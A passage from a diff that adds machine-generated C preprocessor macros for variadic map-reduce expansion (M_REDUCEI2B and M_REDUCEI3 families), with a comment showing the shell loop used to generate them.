+#define M_REDUCEI2B_43(f,g,d,_1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29, _30, _31, _32, _33, _34, _35, _36, _37, _38, _39, _40, _41, _42, _43) g(f(d, _1), g(f(d, _2), g(f(d, _3), g(f(d, _4), g(f(d, _5), g(f(d, _6), g(f(d, _7), g(f(d, _8), g(f(d, _9), g(f(d, _10), g(f(d, _11), g(f(d, _12), g(f(d, _13), g(f(d, _14), g(f(d, _15), g(f(d, _16), g(f(d, _17), g(f(d, _18), g(f(d, _19), g(f(d, _20), g(f(d, _21), g(f(d, _22), g(f(d, _23), g(f(d, _24), g(f(d, _25), g(f(d, _26), g(f(d, _27), g(f(d, _28), g(f(d, _29), g(f(d, _30), g(f(d, _31), g(f(d, _32), g(f(d, _33), g(f(d, _34), g(f(d, _35), g(f(d, _36), g(f(d, _37), g(f(d, _38), g(f(d, _39), g(f(d, _40), g(f(d, _41), g(f(d, _42), f(d, _43)))))))))))))))))))))))))))))))))))))))))))
+#define M_REDUCEI2B_44(f,g,d,_1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29, _30, _31, _32, _33, _34, _35, _36, _37, _38, _39, _40, _41, _42, _43, _44) g(f(d, _1), g(f(d, _2), g(f(d, _3), g(f(d, _4), g(f(d, _5), g(f(d, _6), g(f(d, _7), g(f(d, _8), g(f(d, _9), g(f(d, _10), g(f(d, _11), g(f(d, _12), g(f(d, _13), g(f(d, _14), g(f(d, _15), g(f(d, _16), g(f(d, _17), g(f(d, _18), g(f(d, _19), g(f(d, _20), g(f(d, _21), g(f(d, _22), g(f(d, _23), g(f(d, _24), g(f(d, _25), g(f(d, _26), g(f(d, _27), g(f(d, _28), g(f(d, _29), g(f(d, _30), g(f(d, _31), g(f(d, _32), g(f(d, _33), g(f(d, _34), g(f(d, _35), g(f(d, _36), g(f(d, _37), g(f(d, _38), g(f(d, _39), g(f(d, _40), g(f(d, _41), g(f(d, _42), g(f(d, _43), f(d, _44))))))))))))))))))))))))))))))))))))))))))))
+#define M_REDUCEI2B_45(f,g,d,_1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29, _30, _31, _32, _33, _34, _35, _36, _37, _38, _39, _40, _41, _42, _43, _44, _45) g(f(d, _1), g(f(d, _2), g(f(d, _3), g(f(d, _4), g(f(d, _5), g(f(d, _6), g(f(d, _7), g(f(d, _8), g(f(d, _9), g(f(d, _10), g(f(d, _11), g(f(d, _12), g(f(d, _13), g(f(d, _14), g(f(d, _15), g(f(d, _16), g(f(d, _17), g(f(d, _18), g(f(d, _19), g(f(d, _20), g(f(d, _21), g(f(d, _22), g(f(d, _23), g(f(d, _24), g(f(d, _25), g(f(d, _26), g(f(d, _27), g(f(d, _28), g(f(d, _29), g(f(d, _30), g(f(d, _31), g(f(d, _32), g(f(d, _33), g(f(d, _34), g(f(d, _35), g(f(d, _36), g(f(d, _37), g(f(d, _38), g(f(d, _39), g(f(d, _40), g(f(d, _41), g(f(d, _42), g(f(d, _43), g(f(d, _44), f(d, _45)))))))))))))))))))))))))))))))))))))))))))))
+#define M_REDUCEI2B_46(f,g,d,_1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29, _30, _31, _32, _33, _34, _35, _36, _37, _38, _39, _40, _41, _42, _43, _44, _45, _46) g(f(d, _1), g(f(d, _2), g(f(d, _3), g(f(d, _4), g(f(d, _5), g(f(d, _6), g(f(d, _7), g(f(d, _8), g(f(d, _9), g(f(d, _10), g(f(d, _11), g(f(d, _12), g(f(d, _13), g(f(d, _14), g(f(d, _15), g(f(d, _16), g(f(d, _17), g(f(d, _18), g(f(d, _19), g(f(d, _20), g(f(d, _21), g(f(d, _22), g(f(d, _23), g(f(d, _24), g(f(d, _25), g(f(d, _26), g(f(d, _27), g(f(d, _28), g(f(d, _29), g(f(d, _30), g(f(d, _31), g(f(d, _32), g(f(d, _33), g(f(d, _34), g(f(d, _35), g(f(d, _36), g(f(d, _37), g(f(d, _38), g(f(d, _39), g(f(d, _40), g(f(d, _41), g(f(d, _42), g(f(d, _43), g(f(d, _44), g(f(d, _45), f(d, _46))))))))))))))))))))))))))))))))))))))))))))))
+#define M_REDUCEI2B_47(f,g,d,_1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29, _30, _31, _32, _33, _34, _35, _36, _37, _38, _39, _40, _41, _42, _43, _44, _45, _46, _47) g(f(d, _1), g(f(d, _2), g(f(d, _3), g(f(d, _4), g(f(d, _5), g(f(d, _6), g(f(d, _7), g(f(d, _8), g(f(d, _9), g(f(d, _10), g(f(d, _11), g(f(d, _12), g(f(d, _13), g(f(d, _14), g(f(d, _15), g(f(d, _16), g(f(d, _17), g(f(d, _18), g(f(d, _19), g(f(d, _20), g(f(d, _21), g(f(d, _22), g(f(d, _23), g(f(d, _24), g(f(d, _25), g(f(d, _26), g(f(d, _27), g(f(d, _28), g(f(d, _29), g(f(d, _30), g(f(d, _31), g(f(d, _32), g(f(d, _33), g(f(d, _34), g(f(d, _35), g(f(d, _36), g(f(d, _37), g(f(d, _38), g(f(d, _39), g(f(d, _40), g(f(d, _41), g(f(d, _42), g(f(d, _43), g(f(d, _44), g(f(d, _45), g(f(d, _46), f(d, _47)))))))))))))))))))))))))))))))))))))))))))))))
+#define M_REDUCEI2B_48(f,g,d,_1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29, _30, _31, _32, _33, _34, _35, _36, _37, _38, _39, _40, _41, _42, _43, _44, _45, _46, _47, _48) g(f(d, _1), g(f(d, _2), g(f(d, _3), g(f(d, _4), g(f(d, _5), g(f(d, _6), g(f(d, _7), g(f(d, _8), g(f(d, _9), g(f(d, _10), g(f(d, _11), g(f(d, _12), g(f(d, _13), g(f(d, _14), g(f(d, _15), g(f(d, _16), g(f(d, _17), g(f(d, _18), g(f(d, _19), g(f(d, _20), g(f(d, _21), g(f(d, _22), g(f(d, _23), g(f(d, _24), g(f(d, _25), g(f(d, _26), g(f(d, _27), g(f(d, _28), g(f(d, _29), g(f(d, _30), g(f(d, _31), g(f(d, _32), g(f(d, _33), g(f(d, _34), g(f(d, _35), g(f(d, _36), g(f(d, _37), g(f(d, _38), g(f(d, _39), g(f(d, _40), g(f(d, _41), g(f(d, _42), g(f(d, _43), g(f(d, _44), g(f(d, _45), g(f(d, _46), g(f(d, _47), f(d, _48))))))))))))))))))))))))))))))))))))))))))))))))
+#define M_REDUCEI2B_49(f,g,d,_1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29, _30, _31, _32, _33, _34, _35, _36, _37, _38, _39, _40, _41, _42, _43, _44, _45, _46, _47, _48, _49) g(f(d, _1), g(f(d, _2), g(f(d, _3), g(f(d, _4), g(f(d, _5), g(f(d, _6), g(f(d, _7), g(f(d, _8), g(f(d, _9), g(f(d, _10), g(f(d, _11), g(f(d, _12), g(f(d, _13), g(f(d, _14), g(f(d, _15), g(f(d, _16), g(f(d, _17), g(f(d, _18), g(f(d, _19), g(f(d, _20), g(f(d, _21), g(f(d, _22), g(f(d, _23), g(f(d, _24), g(f(d, _25), g(f(d, _26), g(f(d, _27), g(f(d, _28), g(f(d, _29), g(f(d, _30), g(f(d, _31), g(f(d, _32), g(f(d, _33), g(f(d, _34), g(f(d, _35), g(f(d, _36), g(f(d, _37), g(f(d, _38), g(f(d, _39), g(f(d, _40), g(f(d, _41), g(f(d, _42), g(f(d, _43), g(f(d, _44), g(f(d, _45), g(f(d, _46), g(f(d, _47), g(f(d, _48), f(d, _49)))))))))))))))))))))))))))))))))))))))))))))))))
+#define M_REDUCEI2B_50(f,g,d,_1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29, _30, _31, _32, _33, _34, _35, _36, _37, _38, _39, _40, _41, _42, _43, _44, _45, _46, _47, _48, _49, _50) g(f(d, _1), g(f(d, _2), g(f(d, _3), g(f(d, _4), g(f(d, _5), g(f(d, _6), g(f(d, _7), g(f(d, _8), g(f(d, _9), g(f(d, _10), g(f(d, _11), g(f(d, _12), g(f(d, _13), g(f(d, _14), g(f(d, _15), g(f(d, _16), g(f(d, _17), g(f(d, _18), g(f(d, _19), g(f(d, _20), g(f(d, _21), g(f(d, _22), g(f(d, _23), g(f(d, _24), g(f(d, _25), g(f(d, _26), g(f(d, _27), g(f(d, _28), g(f(d, _29), g(f(d, _30), g(f(d, _31), g(f(d, _32), g(f(d, _33), g(f(d, _34), g(f(d, _35), g(f(d, _36), g(f(d, _37), g(f(d, _38), g(f(d, _39), g(f(d, _40), g(f(d, _41), g(f(d, _42), g(f(d, _43), g(f(d, _44), g(f(d, _45), g(f(d, _46), g(f(d, _47), g(f(d, _48), g(f(d, _49), f(d, _50))))))))))))))))))))))))))))))))))))))))))))))))))
+#define M_REDUCEI2B_51(f,g,d,_1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29, _30, _31, _32, _33, _34, _35, _36, _37, _38, _39, _40, _41, _42, _43, _44, _45, _46, _47, _48, _49, _50, _51) g(f(d, _1), g(f(d, _2), g(f(d, _3), g(f(d, _4), g(f(d, _5), g(f(d, _6), g(f(d, _7), g(f(d, _8), g(f(d, _9), g(f(d, _10), g(f(d, _11), g(f(d, _12), g(f(d, _13), g(f(d, _14), g(f(d, _15), g(f(d, _16), g(f(d, _17), g(f(d, _18), g(f(d, _19), g(f(d, _20), g(f(d, _21), g(f(d, _22), g(f(d, _23), g(f(d, _24), g(f(d, _25), g(f(d, _26), g(f(d, _27), g(f(d, _28), g(f(d, _29), g(f(d, _30), g(f(d, _31), g(f(d, _32), g(f(d, _33), g(f(d, _34), g(f(d, _35), g(f(d, _36), g(f(d, _37), g(f(d, _38), g(f(d, _39), g(f(d, _40), g(f(d, _41), g(f(d, _42), g(f(d, _43), g(f(d, _44), g(f(d, _45), g(f(d, _46), g(f(d, _47), g(f(d, _48), g(f(d, _49), g(f(d, _50), f(d, _51)))))))))))))))))))))))))))))))))))))))))))))))))))
+#define M_REDUCEI2B_52(f,g,d,_1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29, _30, _31, _32, _33, _34, _35, _36, _37, _38, _39, _40, _41, _42, _43, _44, _45, _46, _47, _48, _49, _50, _51, _52) g(f(d, _1), g(f(d, _2), g(f(d, _3), g(f(d, _4), g(f(d, _5), g(f(d, _6), g(f(d, _7), g(f(d, _8), g(f(d, _9), g(f(d, _10), g(f(d, _11), g(f(d, _12), g(f(d, _13), g(f(d, _14), g(f(d, _15), g(f(d, _16), g(f(d, _17), g(f(d, _18), g(f(d, _19), g(f(d, _20), g(f(d, _21), g(f(d, _22), g(f(d, _23), g(f(d, _24), g(f(d, _25), g(f(d, _26), g(f(d, _27), g(f(d, _28), g(f(d, _29), g(f(d, _30), g(f(d, _31), g(f(d, _32), g(f(d, _33), g(f(d, _34), g(f(d, _35), g(f(d, _36), g(f(d, _37), g(f(d, _38), g(f(d, _39), g(f(d, _40), g(f(d, _41), g(f(d, _42), g(f(d, _43), g(f(d, _44), g(f(d, _45), g(f(d, _46), g(f(d, _47), g(f(d, _48), g(f(d, _49), g(f(d, _50), g(f(d, _51), f(d, _52))))))))))))))))))))))))))))))))))))))))))))))))))))
+
+
+/* Map a macro to all given arguments and reduce all theses computation
+   with another reduce macro with an argument and a counter:
+   Example:
+    M_REDUCE3(f, g, data, a, b, c) ==> g( f(data,1,a), g( f(data, 2, b), f(data, 3, c)))
+   Generated by:
+    for i in $(seq 1 52) ; do printf "#define M_REDUCEI3_%d(f,g,d," $i ; for j in $(seq 1 $(($i - 1))) ; do printf "_%d, " $j ; done ; printf "_%d) " $i ; for j in $(seq 1 $(($i - 1))) ; do printf "g(f(d, %d, _%d), " $j $j ; done ; printf "f(d, %d, _%d)" $i $i ; for j in $(seq 1 $(( $i - 1 ))); do printf ")" ; done ; printf "\n" ; done
+ */
+#define M_REDUCE3(...)                    M_REDUCEI3_0(__VA_ARGS__)
+#define M_REDUCEI3_0(f, g, d, ...)        M_C(M_REDUCEI3_, M_NARGS(__VA_ARGS__))(f, g, d, __VA_ARGS__)
+#define M_REDUCEI3_1(f,g,d,_1) f(d, 1, _1)
+#define M_REDUCEI3_2(f,g,d,_1, _2) g(f(d, 1, _1), f(d, 2, _2))
+#define M_REDUCEI3_3(f,g,d,_1, _2, _3) g(f(d, 1, _1), g(f(d, 2, _2), f(d, 3, _3)))
+#define M_REDUCEI3_4(f,g,d,_1, _2, _3, _4) g(f(d, 1, _1), g(f(d, 2, _2), g(f(d, 3, _3), f(d, 4, _4))))
+#define M_REDUCEI3_5(f,g,d,_1, _2, _3, _4, _5) g(f(d, 1, _1), g(f(d, 2, _2), g(f(d, 3, _3), g(f(d, 4, _4), f(d, 5, _5)))))
+#define M_REDUCEI3_6(f,g,d,_1, _2, _3, _4, _5, _6) g(f(d, 1, _1), g(f(d, 2, _2), g(f(d, 3, _3), g(f(d, 4, _4), g(f(d, 5, _5), f(d, 6, _6))))))
+#define M_REDUCEI3_7(f,g,d,_1, _2, _3, _4, _5, _6, _7) g(f(d, 1, _1), g(f(d, 2, _2), g(f(d, 3, _3), g(f(d, 4, _4), g(f(d, 5, _5), g(f(d, 6, _6), f(d, 7, _7)))))))
+#define M_REDUCEI3_8(f,g,d,_1, _2, _3, _4, _5, _6, _7, _8) g(f(d, 1, _1), g(f(d, 2, _2), g(f(d, 3, _3), g(f(d, 4, _4), g(f(d, 5, _5), g(f(d, 6, _6), g(f(d, 7, _7), f(d, 8, _8))))))))
+#define M_REDUCEI3_9(f,g,d,_1, _2, _3, _4, _5, _6, _7, _8, _9) g(f(d, 1, _1), g(f(d, 2, _2), g(f(d, 3, _3), g(f(d, 4, _4), g(f(d, 5, _5), g(f(d, 6, _6), g(f(d, 7, _7), g(f(d, 8, _8), f(d, 9, _9)))))))))
+#define M_REDUCEI3_10(f,g,d,_1, _2, _3, _4, _5, _6, _7, _8, _9, _10) g(f(d, 1, _1), g(f(d, 2, _2), g(f(d, 3, _3), g(f(d, 4, _4), g(f(d, 5, _5), g(f(d, 6, _6), g(f(d, 7, _7), g(f(d, 8, _8), g(f(d, 9, _9), f(d, 10, _10))))))))))
+#define M_REDUCEI3_11(f,g,d,_1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11) g(f(d, 1, _1), g(f(d, 2, _2), g(f(d, 3, _3), g(f(d, 4, _4), g(f(d, 5, _5), g(f(d, 6, _6), g(f(d, 7, _7), g(f(d, 8, _8), g(f(d, 9, _9), g(f(d, 10, _10), f(d, 11, _11)))))))))))
+#define M_REDUCEI3_12(f,g,d,_1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12) g(f(d, 1, _1), g(f(d, 2, _2), g(f(d, 3, _3), g(f(d, 4, _4), g(f(d, 5, _5), g(f(d, 6, _6), g(f(d, 7, _7), g(f(d, 8, _8), g(f(d, 9, _9), g(f(d, 10, _10), g(f(d, 11, _11), f(d, 12, _12))))))))))))
+#define M_REDUCEI3_13(f,g,d,_1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13) g(f(d, 1, _1), g(f(d, 2, _2), g(f(d, 3, _3), g(f(d, 4, _4), g(f(d, 5, _5), g(f(d, 6, _6), g(f(d, 7, _7), g(f(d, 8, _8), g(f(d, 9, _9), g(f(d, 10, _10), g(f(d, 11, _11), g(f(d, 12, _12), f(d, 13, _13)))))))))))))
+#define M_REDUCEI3_14(f,g,d,_1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14) g(f(d, 1, _1), g(f(d, 2, _2), g(f(d, 3, _3), g(f(d, 4, _4), g(f(d, 5, _5), g(f(d, 6, _6), g(f(d, 7, _7), g(f(d, 8, _8), g(f(d, 9, _9), g(f(d, 10, _10), g(f(d, 11, _11), g(f(d, 12, _12), g(f(d, 13, _13), f(d, 14, _14))))))))))))))
+#define M_REDUCEI3_15(f,g,d,_1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15) g(f(d, 1, _1), g(f(d, 2, _2), g(f(d, 3, _3), g(f(d, 4, _4), g(f(d, 5, _5), g(f(d, 6, _6), g(f(d, 7, _7), g(f(d, 8, _8), g(f(d, 9, _9), g(f(d, 10, _10), g(f(d, 11, _11), g(f(d, 12, _12), g(f(d, 13, _13), g(f(d, 14, _14), f(d, 15, _15)))))))))))))))
+#define M_REDUCEI3_16(f,g,d,_1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16) g(f(d, 1, _1), g(f(d, 2, _2), g(f(d, 3, _3), g(f(d, 4, _4), g(f(d, 5, _5), g(f(d, 6, _6), g(f(d, 7, _7), g(f(d, 8, _8), g(f(d, 9, _9), g(f(d, 10, _10), g(f(d, 11, _11), g(f(d, 12, _12), g(f(d, 13, _13), g(f(d, 14, _14), g(f(d, 15, _15), f(d, 16, _16))))))))))))))))
+#define M_REDUCEI3_17(f,g,d,_1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17) g(f(d, 1, _1), g(f(d, 2, _2), g(f(d, 3, _3), g(f(d, 4, _4), g(f(d, 5, _5), g(f(d, 6, _6), g(f(d, 7, _7), g(f(d, 8, _8), g(f(d, 9, _9), g(f(d, 10, _10), g(f(d, 11, _11), g(f(d, 12, _12), g(f(d, 13, _13), g(f(d, 14, _14), g(f(d, 15, _15), g(f(d, 16, _16), f(d, 17, _17)))))))))))))))))
+#define M_REDUCEI3_18(f,g,d,_1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18) g(f(d, 1, _1), g(f(d, 2, _2), g(f(d, 3, _3), g(f(d, 4, _4), g(f(d, 5, _5), g(f(d, 6, _6), g(f(d, 7, _7), g(f(d, 8, _8), g(f(d, 9, _9), g(f(d, 10, _10), g(f(d, 11, _11), g(f(d, 12, _12), g(f(d, 13, _13), g(f(d, 14, _14), g(f(d, 15, _15), g(f(d, 16, _16), g(f(d, 17, _17), f(d, 18, _18))))))))))))))))))
+#define M_REDUCEI3_19(f,g,d,_1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19) g(f(d, 1, _1), g(f(d, 2, _2), g(f(d, 3, _3), g(f(d, 4, _4), g(f(d, 5, _5), g(f(d, 6, _6), g(f(d, 7, _7), g(f(d, 8, _8), g(f(d, 9, _9), g(f(d, 10, _10), g(f(d, 11, _11), g(f(d, 12, _12), g(f(d, 13, _13), g(f(d, 14, _14), g(f(d, 15, _15), g(f(d, 16, _16), g(f(d, 17, _17), g(f(d, 18, _18), f(d, 19, _19)))))))))))))))))))
+#define M_REDUCEI3_20(f,g,d,_1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20) g(f(d, 1, _1), g(f(d, 2, _2), g(f(d, 3, _3), g(f(d, 4, _4), g(f(d, 5, _5), g(f(d, 6, _6), g(f(d, 7, _7), g(f(d, 8, _8), g(f(d, 9, _9), g(f(d, 10, _10), g(f(d, 11, _11), g(f(d, 12, _12), g(f(d, 13, _13), g(f(d, 14, _14), g(f(d, 15, _15), g(f(d, 16, _16), g(f(d, 17, _17), g(f(d, 18, _18), g(f(d, 19, _19), f(d, 20, _20))))))))))))))))))))
+#define M_REDUCEI3_21(f,g,d,_1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21) g(f(d, 1, _1), g(f(d, 2, _2), g(f(d, 3, _3), g(f(d, 4, _4), g(f(d, 5, _5), g(f(d, 6, _6), g(f(d, 7, _7), g(f(d, 8, _8), g(f(d, 9, _9), g(f(d, 10, _10), g(f(d, 11, _11), g(f(d, 12, _12), g(f(d, 13, _13), g(f(d, 14, _14), g(f(d, 15, _15), g(f(d, 16, _16), g(f(d, 17, _17), g(f(d, 18, _18), g(f(d, 19, _19), g(f(d, 20, _20), f(d, 21, _21)))))))))))))))))))))
+#define M_REDUCEI3_22(f,g,d,_1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22) g(f(d, 1, _1), g(f(d, 2, _2), g(f(d, 3, _3), g(f(d, 4, _4), g(f(d, 5, _5), g(f(d, 6, _6), g(f(d, 7, _7), g(f(d, 8, _8), g(f(d, 9, _9), g(f(d, 10, _10), g(f(d, 11, _11), g(f(d, 12, _12), g(f(d, 13, _13), g(f(d, 14, _14), g(f(d, 15, _15), g(f(d, 16, _16), g(f(d, 17, _17), g(f(d, 18, _18), g(f(d, 19, _19), g(f(d, 20, _20), g(f(d, 21, _21), f(d, 22, _22))))))))))))))))))))))
+#define M_REDUCEI3_23(f,g,d,_1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23) g(f(d, 1, _1), g(f(d, 2, _2), g(f(d, 3, _3), g(f(d, 4, _4), g(f(d, 5, _5), g(f(d, 6, _6), g(f(d, 7, _7), g(f(d, 8, _8), g(f(d, 9, _9), g(f(d, 10, _10), g(f(d, 11, _11), g(f(d, 12, _12), g(f(d, 13, _13), g(f(d, 14, _14), g(f(d, 15, _15), g(f(d, 16, _16), g(f(d, 17, _17), g(f(d, 18, _18), g(f(d, 19, _19), g(f(d, 20, _20), g(f(d, 21, _21), g(f(d, 22, _22), f(d, 23, _23)))))))))))))))))))))))
+#define M_REDUCEI3_24(f,g,d,_1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24) g(f(d, 1, _1), g(f(d, 2, _2), g(f(d, 3, _3), g(f(d, 4, _4), g(f(d, 5, _5), g(f(d, 6, _6), g(f(d, 7, _7), g(f(d, 8, _8), g(f(d, 9, _9), g(f(d, 10, _10), g(f(d, 11, _11), g(f(d, 12, _12), g(f(d, 13, _13), g(f(d, 14, _14), g(f(d, 15, _15), g(f(d, 16, _16), g(f(d, 17, _17), g(f(d, 18, _18), g(f(d, 19, _19), g(f(d, 20, _20), g(f(d, 21, _21), g(f(d, 22, _22), g(f(d, 23, _23), f(d, 24, _24))))))))))))))))))))))))
+#define M_REDUCEI3_25(f,g,d,_1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25) g(f(d, 1, _1), g(f(d, 2, _2), g(f(d, 3, _3), g(f(d, 4, _4), g(f(d, 5, _5), g(f(d, 6, _6), g(f(d, 7, _7), g(f(d, 8, _8), g(f(d, 9, _9), g(f(d, 10, _10), g(f(d, 11, _11), g(f(d, 12, _12), g(f(d, 13, _13), g(f(d, 14, _14), g(f(d, 15, _15), g(f(d, 16, _16), g(f(d, 17, _17), g(f(d, 18, _18), g(f(d, 19, _19), g(f(d, 20, _20), g(f(d, 21, _21), g(f(d, 22, _22), g(f(d, 23, _23), g(f(d, 24, _24), f(d, 25, _25)))))))))))))))))))))))))
+#define M_REDUCEI3_26(f,g,d,_1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26) g(f(d, 1, _1), g(f(d, 2, _2), g(f(d, 3, _3), g(f(d, 4, _4), g(f(d, 5, _5), g(f(d, 6, _6), g(f(d, 7, _7), g(f(d, 8, _8), g(f(d, 9, _9), g(f(d, 10, _10), g(f(d, 11, _11), g(f(d, 12, _12), g(f(d, 13, _13), g(f(d, 14, _14), g(f(d, 15, _15), g(f(d, 16, _16), g(f(d, 17, _17), g(f(d, 18, _18), g(f(d, 19, _19), g(f(d, 20, _20), g(f(d, 21, _21), g(f(d, 22, _22), g(f(d, 23, _23), g(f(d, 24, _24), g(f(d, 25, _25), f(d, 26, _26))))))))))))))))))))))))))
+#define M_REDUCEI3_27(f,g,d,_1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27) g(f(d, 1, _1), g(f(d, 2, _2), g(f(d, 3, _3), g(f(d, 4, _4), g(f(d, 5, _5), g(f(d, 6, _6), g(f(d, 7, _7), g(f(d, 8, _8), g(f(d, 9, _9), g(f(d, 10, _10), g(f(d, 11, _11), g(f(d, 12, _12), g(f(d, 13, _13), g(f(d, 14, _14), g(f(d, 15, _15), g(f(d, 16, _16), g(f(d, 17, _17), g(f(d, 18, _18), g(f(d, 19, _19), g(f(d, 20, _20), g(f(d, 21, _21), g(f(d, 22, _22), g(f(d, 23, _23), g(f(d, 24, _24), g(f(d, 25, _25), g(f(d, 26, _26), f(d, 27, _27)))))))))))))))))))))))))))
+#define M_REDUCEI3_28(f,g,d,_1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28) g(f(d, 1, _1), g(f(d, 2, _2), g(f(d, 3, _3), g(f(d, 4, _4), g(f(d, 5, _5), g(f(d, 6, _6), g(f(d, 7, _7), g(f(d, 8, _8), g(f(d, 9, _9), g(f(d, 10, _10), g(f(d, 11, _11), g(f(d, 12, _12), g(f(d, 13, _13), g(f(d, 14, _14), g(f(d, 15, _15), g(f(d, 16, _16), g(f(d, 17, _17), g(f(d, 18, _18), g(f(d, 19, _19), g(f(d, 20, _20), g(f(d, 21, _21), g(f(d, 22, _22), g(f(d, 23, _23), g(f(d, 24, _24), g(f(d, 25, _25), g(f(d, 26, _26), g(f(d, 27, _27), f(d, 28, _28))))))))))))))))))))))))))))
+#define M_REDUCEI3_29(f,g,d,_1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29) g(f(d, 1, _1), g(f(d, 2, _2), g(f(d, 3, _3), g(f(d, 4, _4), g(f(d, 5, _5), g(f(d, 6, _6), g(f(d, 7, _7), g(f(d, 8, _8), g(f(d, 9, _9), g(f(d, 10, _10), g(f(d, 11, _11), g(f(d, 12, _12), g(f(d, 13, _13), g(f(d, 14, _14), g(f(d, 15, _15), g(f(d, 16, _16), g(f(d, 17, _17), g(f(d, 18, _18), g(f(d, 19, _19), g(f(d, 20, _20), g(f(d, 21, _21), g(f(d, 22, _22), g(f(d, 23, _23), g(f(d, 24, _24), g(f(d, 25, _25), g(f(d, 26, _26), g(f(d, 27, _27), g(f(d, 28, _28), f(d, 29, _29)))))))))))))))))))))))))))))
+#define M_REDUCEI3_30(f,g,d,_1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29, _30) g(f(d, 1, _1), g(f(d, 2, _2), g(f(d, 3, _3), g(f(d, 4, _4), g(f(d, 5, _5), g(f(d, 6, _6), g(f(d, 7, _7), g(f(d, 8, _8), g(f(d, 9, _9), g(f(d, 10, _10), g(f(d, 11, _11), g(f(d, 12, _12), g(f(d, 13, _13), g(f(d, 14, _14), g(f(d, 15, _15), g(f(d, 16, _16), g(f(d, 17, _17), g(f(d, 18, _18), g(f(d, 19, _19), g(f(d, 20, _20), g(f(d, 21, _21), g(f(d, 22, _22), g(f(d, 23, _23), g(f(d, 24, _24), g(f(d, 25, _25), g(f(d, 26, _26), g(f(d, 27, _27), g(f(d, 28, _28), g(f(d, 29, _29), f(d, 30, _30))))))))))))))))))))))))))))))
+#define M_REDUCEI3_31(f,g,d,_1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29, _30, _31) g(f(d, 1, _1), g(f(d, 2, _2), g(f(d, 3, _3), g(f(d, 4, _4), g(f(d, 5, _5), g(f(d, 6, _6), g(f(d, 7, _7), g(f(d, 8, _8), g(f(d, 9, _9), g(f(d, 10, _10), g(f(d, 11, _11), g(f(d, 12, _12), g(f(d, 13, _13), g(f(d, 14, _14), g(f(d, 15, _15), g(f(d, 16, _16), g(f(d, 17, _17), g(f(d, 18, _18), g(f(d, 19, _19), g(f(d, 20, _20), g(f(d, 21, _21), g(f(d, 22, _22), g(f(d, 23, _23), g(f(d, 24, _24), g(f(d, 25, _25), g(f(d, 26, _26), g(f(d, 27, _27), g(f(d, 28, _28), g(f(d, 29, _29), g(f(d, 30, _30), f(d, 31, _31)))))))))))))))))))))))))))))))
